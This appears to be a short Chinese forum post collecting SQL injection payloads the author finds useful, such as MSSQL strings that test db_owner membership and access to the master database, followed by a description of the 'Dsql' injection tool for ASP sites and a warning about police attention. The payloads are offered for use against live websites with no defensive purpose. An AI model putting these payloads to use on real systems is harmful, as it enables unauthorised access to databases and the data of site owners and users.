常用的一些命令： 我记性不好，所以把常用的注入代码记录下来，有点乱，但对我来说，还算很有用，希望大家也会喜欢！ //看看是什么权限的 and 1=(Select IS_MEMBER('db_owner')) And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;-- //检测是否有读取某数据库的权限 and 1= (Select HAS_DBACCESS('master')) And char(124)
啊Dsql注入工具： 注入工具只是一个检测注入漏洞的工具，如果网站没有此漏洞将无法注入的！一般检测的网站以 asp 扩展的网站（别的扩展名的也有可能的，只要是有SQL入问题的），至于老试都没有检测到可用的，是因为现在这个漏洞很多网站也已修补了，所以没有也是很正常的，还有想说的就是，当你使用此软件于用破坏的，你也做好网警找你"喝茶"的心理准备！
